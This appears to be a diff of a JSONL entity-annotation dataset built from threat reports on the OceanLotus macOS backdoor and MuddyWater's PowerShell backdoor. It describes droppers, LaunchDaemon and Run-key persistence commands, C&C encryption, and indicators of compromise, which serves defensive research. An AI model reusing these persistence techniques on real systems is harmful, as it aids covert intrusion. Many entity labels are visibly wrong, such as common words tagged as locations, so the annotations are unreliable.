-{"id":9626,"text":"The document claims to be a registration form for an event with HDMC, an organization in Vietnam that advertises national independence and democracy.","entities":[{"id":29497,"label":"location","start_offset":113,"end_offset":121},{"id":29498,"label":"location","start_offset":122,"end_offset":134},{"id":29499,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]}
 {"id":9627,"text":" Figure 1. Graphic used by the malicious document","entities":[],"relations":[],"Comments":[]}
 {"id":9628,"text":"Upon receiving the malicious document, the user is advised to enable macros.","entities":[],"relations":[],"Comments":[]}
 {"id":9629,"text":"In our analysis, the macro is obfuscated, character by character, using the decimal ASCII code.","entities":[],"relations":[],"Comments":[]}
 {"id":9630,"text":"This is shown in the figure below.","entities":[],"relations":[],"Comments":[]}
 {"id":9631,"text":"Figure 2.","entities":[],"relations":[],"Comments":[]}
 {"id":9632,"text":"Code snippet of the obfuscated document","entities":[],"relations":[],"Comments":[]}
-{"id":9633,"text":"After deobfuscation, we can see that the payload is written in the Perl programming language.","entities":[{"id":29502,"label":"location","start_offset":24,"end_offset":27},{"id":29503,"label":"location","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":9634,"text":"It extracts theme0.xml file from the Word document.","entities":[],"relations":[],"Comments":[]}
 {"id":9635,"text":"theme0.xml is a Mach-O 32-bit executable with a  0xFEEDFACE signature that is also the dropper of the backdoor, which is the final payload.","entities":[{"id":29505,"label":"location","start_offset":16,"end_offset":20},{"id":29506,"label":"identity","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]}
 {"id":9636,"text":"theme0.xml is extracted to \/tmp\/system\/word\/theme\/syslogd before it’s executed.","entities":[],"relations":[],"Comments":[]}
 {"id":9637,"text":" Figure 3. Deobfuscated Perl payload from the delivery document Dropper analysis","entities":[],"relations":[],"Comments":[]}
-{"id":9638,"text":"The dropper is used to install the backdoor into the infected system and establish its persistence.","entities":[{"id":29509,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
 {"id":9639,"text":" Figure 4.","entities":[],"relations":[],"Comments":[]}
 {"id":9640,"text":"The main function of the dropper","entities":[],"relations":[],"Comments":[]}
-{"id":9641,"text":"All strings within the dropper, as well as the backdoor, are encrypted using a hardcoded RSA256 key.","entities":[{"id":29511,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":9642,"text":"There are two forms of encrypted strings: an RSA256-encrypted string, and custom base64-encoded and RSA256-encrypted string.","entities":[{"id":29512,"label":"location","start_offset":6,"end_offset":9},{"id":29514,"label":"location","start_offset":70,"end_offset":73},{"id":29515,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
 {"id":9643,"text":" Figure 5. Hardcoded RSA256 key showing the first 20 characters","entities":[],"relations":[],"Comments":[]}
-{"id":9644,"text":"Using the setStartup() method, the dropper first checks if it is running as a root or not.","entities":[{"id":29518,"label":"location","start_offset":78,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":9645,"text":"Based on that, the GET_PROCESSPATH and GET_PROCESSNAME methods will decrypt the hardcoded path and filename where the backdoor should be installed.","entities":[{"id":29519,"label":"location","start_offset":35,"end_offset":38},{"id":29520,"label":"location","start_offset":63,"end_offset":67},{"id":29521,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":9646,"text":"The locations:","entities":[],"relations":[],"Comments":[]}
-{"id":9647,"text":"For root user  path: \/Library\/CoreMediaIO\/Plug-Ins\/FCP-DAL\/iOSScreenCapture.plugin\/Contents\/Resources\/ processname: screenassistantd  ","entities":[{"id":29522,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":9648,"text":"For regular user   path: ~\/Library\/Spelling\/ processname: spellagentd","entities":[],"relations":[],"Comments":[]}
 {"id":9649,"text":" Subsequently, it implements the Loader::installLoader method, reading the hardcoded 64-bit Mach-O executable (magic value 0xFEEDFACF), and writing to the previously determined path and file.","entities":[{"id":29523,"label":"location","start_offset":63,"end_offset":70},{"id":29524,"label":"identity","start_offset":88,"end_offset":91},{"id":29525,"label":"location","start_offset":92,"end_offset":96},{"id":29526,"label":"location","start_offset":136,"end_offset":139},{"id":29527,"label":"location","start_offset":182,"end_offset":185}],"relations":[],"Comments":[]}
 {"id":9650,"text":" Figure 6.","entities":[],"relations":[],"Comments":[]}
-{"id":9651,"text":"The dropper installs the backdoor, sets its attributes to “hidden”, and sets a random file date and time","entities":[{"id":29529,"label":"location","start_offset":68,"end_offset":71},{"id":29530,"label":"location","start_offset":91,"end_offset":95},{"id":29531,"label":"location","start_offset":96,"end_offset":99},{"id":29532,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":9652,"text":"When the dropper installs the backdoor, it sets its attributes to “hidden” and sets file date and time to  random values using the touch command: touch –t YYMMDDMM “\/path\/filename” > \/dev\/null.","entities":[{"id":29533,"label":"location","start_offset":75,"end_offset":78},{"id":29534,"label":"location","start_offset":89,"end_offset":93},{"id":29535,"label":"location","start_offset":94,"end_offset":97},{"id":29536,"label":"location","start_offset":98,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":9653,"text":"The access permissions will then be changed to 0x1ed = 755, which is equal to u=rwx,go=rx.  Figure 7.","entities":[{"id":29537,"label":"location","start_offset":23,"end_offset":27}],"relations":[],"Comments":[]}
 {"id":9654,"text":"The magic value 0xFEEDFACF that belongs to Mach-O Executable (64 bit) Methods GET_LAUNCHNAME and GET_LABELNAME will return the hardcoded name of the property list “.plist” for the root user (com.apple.screen.assistantd.plist) and for the regular user (com.apple.spell.agent.plist).","entities":[{"id":29539,"label":"location","start_offset":43,"end_offset":47},{"id":29540,"label":"identity","start_offset":65,"end_offset":68},{"id":29541,"label":"location","start_offset":93,"end_offset":96},{"id":29542,"label":"location","start_offset":111,"end_offset":115},{"id":29543,"label":"location","start_offset":158,"end_offset":162},{"id":29544,"label":"location","start_offset":180,"end_offset":184},{"id":29545,"label":"location","start_offset":226,"end_offset":229}],"relations":[],"Comments":[]}
-{"id":9655,"text":"Afterwards, the persistence file will be created in \/Library\/LaunchDaemons\/ or ~\/Library\/LaunchAgents\/  folder.","entities":[{"id":29546,"label":"location","start_offset":33,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":9656,"text":"The RunAtLoad key will command launchd to run the daemon when the operating system starts up, while the KeepAlive key will command launchd to let the process run indefinitely.","entities":[{"id":29547,"label":"location","start_offset":18,"end_offset":22},{"id":29548,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":9657,"text":"This persistence file is also set to hidden with a randomly generated file date and time.","entities":[{"id":29549,"label":"location","start_offset":75,"end_offset":79},{"id":29550,"label":"location","start_offset":80,"end_offset":83},{"id":29551,"label":"location","start_offset":84,"end_offset":88}],"relations":[],"Comments":[]}
 {"id":9658,"text":"Figure 8.","entities":[],"relations":[],"Comments":[]}
 {"id":9659,"text":"Property list with persistence settings launchctl load \/Library\/LaunchDaemons\/filename.plist > \/dev\/nul or launchctl load ~\/Library\/LaunchAgents\/ filename.plist > \/dev\/nul will then command the operating system to start the dropped backdoor file at login.","entities":[{"id":29553,"label":"location","start_offset":9,"end_offset":13},{"id":29554,"label":"attack-pattern","start_offset":40,"end_offset":49},{"id":29555,"label":"location","start_offset":50,"end_offset":54},{"id":29556,"label":"attack-pattern","start_offset":107,"end_offset":116},{"id":29557,"label":"location","start_offset":117,"end_offset":121},{"id":29558,"label":"location","start_offset":172,"end_offset":176},{"id":29559,"label":"location","start_offset":214,"end_offset":219}],"relations":[],"Comments":[]}
-{"id":9660,"text":"The dropper will delete itself at the end of the process.","entities":[{"id":29560,"label":"location","start_offset":12,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":9661,"text":"Backdoor analysis","entities":[],"relations":[],"Comments":[]}
-{"id":9662,"text":"The main loop of the backdoor has two main functions, infoClient and runHandle.","entities":[{"id":29561,"label":"location","start_offset":9,"end_offset":13},{"id":29563,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":9663,"text":"infoClient is reponsible for collecting OS info, submitting this info to its C&C servers (the servers are malicious in nature), and receiving additional C&C communication information.","entities":[{"id":29564,"label":"location","start_offset":102,"end_offset":105},{"id":29565,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
 {"id":9664,"text":"Meanwhile, runHandle is responsible for the backdoor capabilities.","entities":[],"relations":[],"Comments":[]}
 {"id":9665,"text":" Figure 9.","entities":[],"relations":[],"Comments":[]}
 {"id":9666,"text":"The main functions of the backdoor infoClient fills up the variables in HandlePP class.","entities":[],"relations":[],"Comments":[]}
 {"id":9667,"text":"Figure 10.","entities":[],"relations":[],"Comments":[]}
-{"id":9668,"text":"List of variables belonging to the HandlePP class clientID is an MD5 hash derived from the environment variables, while strClientID is a hexadecimal representation of clientID.","entities":[{"id":29568,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":9669,"text":"All strings below are encrypted via AES256 and base64 encoding.","entities":[{"id":29569,"label":"location","start_offset":18,"end_offset":21},{"id":29570,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":9670,"text":"The HandlePP::getClientID method uses the following environment variables:  Figure 11. Serial number  Figure 12.","entities":[],"relations":[],"Comments":[]}
 {"id":9671,"text":"Hardware UUID  Figure 13.","entities":[],"relations":[],"Comments":[]}
 {"id":9672,"text":"MAC address  Figure 14.","entities":[],"relations":[],"Comments":[]}
 {"id":9673,"text":"Randomly generated UUID","entities":[],"relations":[],"Comments":[]}
 {"id":9674,"text":"For the initial information packet, the backdoor also collects the following:  Figure 15.","entities":[],"relations":[],"Comments":[]}
-{"id":9675,"text":"OS version Running getpwuid ->pw_name , scutil - -get ComputerName, and uname –m will provide the following returns respectively:  Mac OSX 10.12.","entities":[{"id":29576,"label":"location","start_offset":68,"end_offset":71},{"id":29577,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":9676,"text":"System Administrator <owner’s name>'s iMac x86_64  All these data are scrambled and encrypted before sending to the C&C server.","entities":[{"id":29578,"label":"location","start_offset":66,"end_offset":69},{"id":29579,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":9677,"text":" The process is detailed below: Scrambling Class Parser has several methods, one for each variable type – Parser::inBytes, Parser::inByte, Parser::inString, and Parser::inInt.","entities":[{"id":29580,"label":"location","start_offset":77,"end_offset":80},{"id":29581,"label":"location","start_offset":99,"end_offset":103},{"id":29582,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
 {"id":9678,"text":"Figure 16.","entities":[],"relations":[],"Comments":[]}
 {"id":9679,"text":"Parser::inBytes method","entities":[],"relations":[],"Comments":[]}
 {"id":9680,"text":"If clientID equals the following sequence of bytes B4 B1 47 BC 52 28 28 73 1F 1A 01 6B FA 72 C0 73, then the scrambled version is computed using the third parameter (0x10), which is treated as a DWORD.","entities":[],"relations":[],"Comments":[]}
 {"id":9681,"text":"Each quadruple of bytes is XOR-ed with it, as shown in example below.","entities":[],"relations":[],"Comments":[]}
 {"id":9682,"text":"   Figure 17.","entities":[],"relations":[],"Comments":[]}
 {"id":9683,"text":"Parser::inByte method","entities":[],"relations":[],"Comments":[]}
-{"id":9684,"text":"When scrambling one byte, the scrambler first determines if the byte value is odd or even.","entities":[{"id":29587,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":9685,"text":"If the value is odd, it adds the byte, along with one more randomly generated byte, to the array.","entities":[{"id":29588,"label":"location","start_offset":16,"end_offset":19},{"id":29589,"label":"location","start_offset":39,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":9686,"text":"In the case of an even value, the randomly generated byte is added first, followed by the byte being added.","entities":[{"id":29591,"label":"location","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":9687,"text":"In the case above, the third parameter is ‘1’ = 0x31, which is an odd number.","entities":[{"id":29593,"label":"location","start_offset":7,"end_offset":11},{"id":29595,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":9688,"text":"This means that it adds byte ‘1’ and one randomly generated byte to the final scrambled array.","entities":[{"id":29596,"label":"location","start_offset":5,"end_offset":10},{"id":29597,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":9689,"text":"Figure 18.","entities":[],"relations":[],"Comments":[]}
 {"id":9690,"text":"Parser::inString method","entities":[],"relations":[],"Comments":[]}
-{"id":9691,"text":"When scrambling a string, the scrambler generates a 5-byte long sequence.","entities":[{"id":29601,"label":"location","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":9692,"text":"First, it generates one random byte, followed by three zero bytes, one random byte, and finally, the byte with the length of the string.","entities":[{"id":29603,"label":"location","start_offset":20,"end_offset":23},{"id":29605,"label":"location","start_offset":55,"end_offset":59},{"id":29606,"label":"location","start_offset":67,"end_offset":70},{"id":29607,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":9693,"text":"Let’s say we want to scramble string ‘Mac OSX 10.12.’","entities":[],"relations":[],"Comments":[]}
-{"id":9694,"text":"Its length is 13 = 0x0d, and the two random bytes are 0xf3 and 0x92.","entities":[{"id":29608,"label":"location","start_offset":25,"end_offset":28},{"id":29610,"label":"location","start_offset":50,"end_offset":53},{"id":29611,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":9695,"text":" The final 5-byte sequence looks like F3 00 00 00 92 0D.","entities":[],"relations":[],"Comments":[]}
 {"id":9696,"text":"The original string is then XOR’ed with the 5-byte sequence.","entities":[],"relations":[],"Comments":[]}
 {"id":9697,"text":" Figure 19.","entities":[],"relations":[],"Comments":[]}
 {"id":9698,"text":"Scrambling ‘Mac OSX 10.12’ Encryption","entities":[],"relations":[],"Comments":[]}
-{"id":9699,"text":"The scrambled byte sequence is passed onto the constructor of the class Packet::Packet, which creates a random AES256 key and encrypts the buffer with this key.","entities":[{"id":29615,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":9700,"text":"Encoding the encryption key","entities":[],"relations":[],"Comments":[]}
-{"id":9701,"text":"In order for the C&C server to decrypt the encrypted data, the randomly generated AES256 key must be included in the packet along with the encrypted data.","entities":[{"id":29616,"label":"location","start_offset":124,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":9702,"text":"However, this key is also scrambled with operation XOR 0x13 followed by ROL 6 operation applied to each byte.","entities":[],"relations":[],"Comments":[]}
 {"id":9703,"text":" Figure 20. Function for scrambling AES256 key in the outgoing packet","entities":[],"relations":[],"Comments":[]}
-{"id":9704,"text":"Some screenshots taken during scrambling and encryption process:  Figure 21.","entities":[{"id":29618,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":9705,"text":"The highlighted bytes represent the scrambled computer info  Figure 22.","entities":[],"relations":[],"Comments":[]}
 {"id":9706,"text":"Randomly generated AES256 key  Figure 23. Scrambled AES256 key (0xC1 XOR 0x13 = 0xD2, 0xD2 ROL 6 = 0xB4) etc.)","entities":[],"relations":[],"Comments":[]}
 {"id":9707,"text":" Figure 24.","entities":[],"relations":[],"Comments":[]}
 {"id":9708,"text":"Computer info encrypted with AES256 key  Figure 25.","entities":[],"relations":[],"Comments":[]}
 {"id":9709,"text":"Screenshot of the final payload to be sent to C&C server.","entities":[],"relations":[],"Comments":[]}
-{"id":9710,"text":"The scrambled AES256 key is marked green, while the encrypted computer info is marked red.","entities":[{"id":29624,"label":"location","start_offset":35,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":9711,"text":"Other bytes are just randomly generated noise.","entities":[{"id":29625,"label":"location","start_offset":12,"end_offset":15},{"id":29626,"label":"identity","start_offset":16,"end_offset":20}],"relations":[],"Comments":[]}
-{"id":9712,"text":"When the backdoor receives the response from the C&C server, the final payload needs to be decoded again in a similar manner via decryption and scrambling.","entities":[{"id":29627,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":9713,"text":"Packet::getData decrypts the received payload and Converter::outString descrambles the result.","entities":[{"id":29628,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":9714,"text":"The received data from the C&C server include the following information:  HandlePP::urlRequest (\/appleauth\/static\/cssj\/N252394295\/widget\/auth\/app.css) HandlePP::keyDecrypt","entities":[{"id":29629,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":9715,"text":"STRINGDATA::BROWSER_SESSION_ID","entities":[],"relations":[],"Comments":[]}
 {"id":9716,"text":"m_pixel_ratio)","entities":[],"relations":[],"Comments":[]}
 {"id":9717,"text":"STRINGDATA::RESOURCE_ID","entities":[],"relations":[],"Comments":[]}
-{"id":9718,"text":" These data will be later used in the C&C communication, as shown in the Wireshark screenshot below.  Figure 26. Communication with the C&C server after the exchange of OS packet info","entities":[{"id":29630,"label":"location","start_offset":12,"end_offset":16},{"id":29633,"label":"location","start_offset":157,"end_offset":165}],"relations":[],"Comments":[]}
-{"id":9719,"text":"Meanwhile, the runHandle method of the main backdoor loop will call for the requestServer method with the following backdoor commands (each command has one byte long code and is extracted by Packet::getCommand):  Figure 27.","entities":[{"id":29634,"label":"location","start_offset":53,"end_offset":57},{"id":29635,"label":"location","start_offset":58,"end_offset":62},{"id":29636,"label":"location","start_offset":63,"end_offset":67},{"id":29637,"label":"location","start_offset":152,"end_offset":155},{"id":29638,"label":"location","start_offset":161,"end_offset":165},{"id":29639,"label":"location","start_offset":171,"end_offset":174}],"relations":[],"Comments":[]}
 {"id":9720,"text":"The getCommand method","entities":[],"relations":[],"Comments":[]}
 {"id":9721,"text":"The figure below shows the example of two of several possible command codes.","entities":[],"relations":[],"Comments":[]}
-{"id":9722,"text":"Both create one thread, and each thread is responsible for either downloading and executing the file or running a command line program in the terminal:","entities":[{"id":29642,"label":"location","start_offset":12,"end_offset":15},{"id":29643,"label":"location","start_offset":24,"end_offset":27},{"id":29644,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":9723,"text":" Figure 28. Commands used for downloading and executing, and running a command in terminal  Figure 29.","entities":[{"id":29646,"label":"location","start_offset":42,"end_offset":45},{"id":29647,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":9724,"text":"Commands used in uploading and downloading file Figure 30.","entities":[{"id":29649,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":9725,"text":"Supported commands and their respective codes Mitigation","entities":[{"id":29651,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":9726,"text":"Malicious attacks targeting Mac devices are not as common as its counterparts, but the discovery of this new MacOS backdoor that is presumably distributed via phishing email calls for every user to adopt best practices for phishing attacks regardless of operating system.","entities":[{"id":29652,"label":"location","start_offset":40,"end_offset":43},{"id":29653,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":29654,"label":"location","start_offset":204,"end_offset":208},{"id":29655,"label":"attack-pattern","start_offset":223,"end_offset":231}],"relations":[],"Comments":[]}
-{"id":9727,"text":"End users can benefit from security solutions such as Trend Micro Antivirus for Mac, which provides comprehensive security and multi-device protection against cyberthreats.","entities":[{"id":29656,"label":"location","start_offset":10,"end_offset":13},{"id":29657,"label":"location","start_offset":27,"end_offset":35},{"id":29659,"label":"location","start_offset":114,"end_offset":122},{"id":29660,"label":"location","start_offset":123,"end_offset":126},{"id":29661,"label":"location","start_offset":140,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":9728,"text":" Enterprises can benefit from Trend Micro’s Smart Protection Suites with XGen™ security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint.   Indicators of Compromise (IoCs)  C&C servers  Ssl[.]arkouthrie[.]com s3[.]hiahornber[.]com widget[.]shoreoa[.]com    SHA256 Delivery document (W2KM_OCEANLOTUS.A): 2bb855dc5d845eb5f2466d7186f150c172da737bfd9c7f6bc1804e0b8d20f22a Dropper (OSX_OCEANLOTUS.D): 4da8365241c6b028a13b82d852c4f0155eb3d902782c6a538ac007a44a7d61b4 Backdoor (OSX_OCEANLOTUS.D): 673ee7a57ba3c5a2384aeb17a66058e59f0a4d0cddc4f01fe32f369f6a845c8f            Tags  Malware | APT & Targeted Attacks | Endpoints | Research | Network","entities":[{"id":29662,"label":"location","start_offset":13,"end_offset":16},{"id":29666,"label":"location","start_offset":79,"end_offset":87},{"id":29667,"label":"location","start_offset":108,"end_offset":116},{"id":29668,"label":"location","start_offset":157,"end_offset":167},{"id":29669,"label":"location","start_offset":192,"end_offset":200},{"id":29670,"label":"location","start_offset":231,"end_offset":234},{"id":29671,"label":"SHA2","start_offset":414,"end_offset":478},{"id":29672,"label":"tools","start_offset":488,"end_offset":504},{"id":29673,"label":"SHA1","start_offset":507,"end_offset":571},{"id":29674,"label":"tools","start_offset":582,"end_offset":598},{"id":29675,"label":"SHA1","start_offset":601,"end_offset":665},{"id":29676,"label":"location","start_offset":693,"end_offset":696}],"relations":[],"Comments":[]}
 {"id":9729,"text":"MuddyWater is a well-known threat actor group that has been active since 2017.","entities":[],"relations":[],"Comments":[]}
 {"id":9730,"text":"They target groups across Middle East and Central Asia, primarily using spear phishing emails with malicious attachments.","entities":[{"id":29679,"label":"location","start_offset":5,"end_offset":11},{"id":29681,"label":"location","start_offset":38,"end_offset":41},{"id":29683,"label":"attack-pattern","start_offset":72,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":9731,"text":"Most recently they were connected to a campaign in March that targeted organizations in Turkey, Pakistan, and Tajikistan.","entities":[{"id":29684,"label":"location","start_offset":0,"end_offset":4},{"id":29685,"label":"location","start_offset":39,"end_offset":47},{"id":29689,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
 {"id":9732,"text":"The group has been quite visible since the initial 2017 Malwarebytes report on their elaborate espionage attack against the Saudi Arabian government.","entities":[],"relations":[],"Comments":[]}
-{"id":9733,"text":"After that first report, they were extensively analyzed by other security companies.","entities":[{"id":29695,"label":"location","start_offset":65,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":9734,"text":"Through all that, we’ve only seen minor changes to the tools, techniques and procedures (TTPs) they have used.","entities":[{"id":29696,"label":"location","start_offset":24,"end_offset":28},{"id":29697,"label":"location","start_offset":34,"end_offset":39},{"id":29698,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
 {"id":9735,"text":"However, we recently observed a few interesting delivery documents similar to the known MuddyWater TTPs.","entities":[],"relations":[],"Comments":[]}
-{"id":9736,"text":"These documents are named Raport.doc or Gizli Raport.doc (titles mean “Report” or “Secret Report” in Turkish) and maliyeraporti (Gizli Bilgisi).doc (“finance (Confidential Information)” in Turkish) — all of which were uploaded to Virus Total from Turkey.","entities":[{"id":29700,"label":"location","start_offset":16,"end_offset":19},{"id":29703,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":9737,"text":"Our analysis revealed that they drop a new backdoor, which is written in PowerShell as MuddyWater’s known POWERSTATS backdoor.","entities":[{"id":29706,"label":"attack-pattern","start_offset":73,"end_offset":83},{"id":29708,"label":"malware","start_offset":106,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":9738,"text":"But, unlike previous incidents using POWERSTATS, the command and control (C&C) communication and data exfiltration in this case is done by using the API of a cloud file hosting provider.","entities":[{"id":29709,"label":"malware","start_offset":37,"end_offset":47},{"id":29710,"label":"location","start_offset":61,"end_offset":64},{"id":29711,"label":"location","start_offset":93,"end_offset":96},{"id":29712,"label":"location","start_offset":123,"end_offset":127},{"id":29713,"label":"location","start_offset":158,"end_offset":163}],"relations":[],"Comments":[]}
 {"id":9739,"text":"The screenshots below show the malicious attachments, which are disguised to look real, similar to any typical phishing document.","entities":[{"id":29714,"label":"location","start_offset":60,"end_offset":63},{"id":29715,"label":"location","start_offset":82,"end_offset":86},{"id":29716,"label":"attack-pattern","start_offset":111,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":9740,"text":"The images show blurry logos that we’ve identified as belonging to various Turkish government organizations — the logos add to the disguise and lure users into believing the documents are legitimate.","entities":[{"id":29718,"label":"location","start_offset":140,"end_offset":143},{"id":29719,"label":"location","start_offset":144,"end_offset":148},{"id":29720,"label":"location","start_offset":184,"end_offset":187}],"relations":[],"Comments":[]}
-{"id":9741,"text":"Then the document notifies users that it is an “old version” and prompts them to enable macros to display the document properly.","entities":[{"id":29721,"label":"location","start_offset":61,"end_offset":64},{"id":29722,"label":"location","start_offset":73,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":9742,"text":"If the targeted victims enable macros, then the malicious process continues.","entities":[],"relations":[],"Comments":[]}
 {"id":9743,"text":" Figure 1.","entities":[],"relations":[],"Comments":[]}
 {"id":9744,"text":"Fake Office document tries to get user to enable malicious macros.","entities":[],"relations":[],"Comments":[]}
@@ -9750,266 +7291,126 @@
 {"id":9750,"text":"Running this registry file adds the following command to the Run registry key: rundll32 %Temp%\\png.dll,RunPow  Figure 3.","entities":[{"id":29734,"label":"attack-pattern","start_offset":79,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":9751,"text":"Run registry key We assume that RunPow stands for “run PowerShell,” and triggers the PowerShell code embedded inside the .dll file.","entities":[{"id":29736,"label":"attack-pattern","start_offset":55,"end_offset":65},{"id":29737,"label":"location","start_offset":68,"end_offset":71},{"id":29738,"label":"attack-pattern","start_offset":85,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":9752,"text":"The PowerShell code has several layers of obfuscation.","entities":[{"id":29739,"label":"attack-pattern","start_offset":4,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":9753,"text":"The first layer contains a long base64 encoded and encrypted code with variables named using English curse words.","entities":[{"id":29741,"label":"location","start_offset":27,"end_offset":31},{"id":29742,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":9754,"text":" Figure 4.","entities":[],"relations":[],"Comments":[]}
 {"id":9755,"text":"Encrypted PowerShell code","entities":[{"id":29745,"label":"attack-pattern","start_offset":10,"end_offset":20}],"relations":[],"Comments":[]}
 {"id":9756,"text":"The other layers are simple obfuscated PowerShell scripts.","entities":[{"id":29746,"label":"location","start_offset":17,"end_offset":20},{"id":29747,"label":"attack-pattern","start_offset":39,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":9757,"text":"But the last layer is the main backdoor body.","entities":[],"relations":[],"Comments":[]}
 {"id":9758,"text":"This backdoor has some features similar to a previously discovered version of the Muddywater backdoor.","entities":[],"relations":[],"Comments":[]}
-{"id":9759,"text":"Firstly, this backdoor collects the system information and concatenates various pieces of information into one long string.","entities":[{"id":29750,"label":"location","start_offset":55,"end_offset":58},{"id":29751,"label":"location","start_offset":107,"end_offset":110},{"id":29752,"label":"location","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":9760,"text":"The data retrieved includes: OS name, domain name, user name, IP address, and more.","entities":[{"id":29753,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":9761,"text":"It uses the separator \"::\" between each piece of information.","entities":[{"id":29754,"label":"location","start_offset":27,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":9762,"text":" Figure 5. String of system information collected from the victim’s system","entities":[],"relations":[],"Comments":[]}
 {"id":9763,"text":"The previous MuddyWater version collected similar information but used a different separator:  Figure 6.","entities":[],"relations":[],"Comments":[]}
-{"id":9764,"text":"String of system information collected from the victim’s system, from older Muddywater backdoor sample","entities":[{"id":29759,"label":"location","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":9765,"text":"As mentioned above, another difference between this and older Muddywater backdoors is that C&C communication is done by dropping files to the cloud provider.","entities":[{"id":29760,"label":"location","start_offset":39,"end_offset":46},{"id":29761,"label":"location","start_offset":52,"end_offset":55},{"id":29763,"label":"location","start_offset":142,"end_offset":147}],"relations":[],"Comments":[]}
 {"id":9766,"text":"When we analyzed further, we saw that the communication methods use files named <md5(hard disk serial number)> with various extensions depending on the purpose of the file.","entities":[],"relations":[],"Comments":[]}
-{"id":9767,"text":" .cmd - text file with a command to execute .reg - system info as generated by myinfo() function, see screenshot above .prc - output of the executed .cmd file, stored on local machine only .res - output of the executed .cmd file, stored on cloud storage   Figure 7. Example of .cmd file content  Figure 8. Example of .reg file content  Figure 9.Example of .res file content","entities":[{"id":29764,"label":"location","start_offset":184,"end_offset":188},{"id":29765,"label":"location","start_offset":240,"end_offset":245},{"id":29767,"label":"location","start_offset":287,"end_offset":294},{"id":29769,"label":"location","start_offset":327,"end_offset":334},{"id":29770,"label":"location","start_offset":366,"end_offset":373}],"relations":[],"Comments":[]}
-{"id":9768,"text":"In both the older version of the MuddyWater backdoor and this recent backdoor, these files are used as an asynchronous mechanism instead of connecting directly to the machine and issuing a command.","entities":[{"id":29772,"label":"location","start_offset":53,"end_offset":56},{"id":29773,"label":"location","start_offset":91,"end_offset":94},{"id":29774,"label":"location","start_offset":175,"end_offset":178}],"relations":[],"Comments":[]}
-{"id":9769,"text":"The malware operator leaves a command to execute in a .cmd file, and comes back later to retrieve the .res files containing the result of the issued command.","entities":[{"id":29775,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":9770,"text":"However, in the older MuddyWater backdoor their content was encoded differently.","entities":[{"id":29777,"label":"location","start_offset":48,"end_offset":55}],"relations":[],"Comments":[]}
-{"id":9771,"text":"The files are temporarily stored on compromised websites.","entities":[{"id":29778,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":9772,"text":"The more recent backdoor uses a legitimate cloud storage service provider instead.","entities":[{"id":29779,"label":"location","start_offset":43,"end_offset":48}],"relations":[],"Comments":[]}
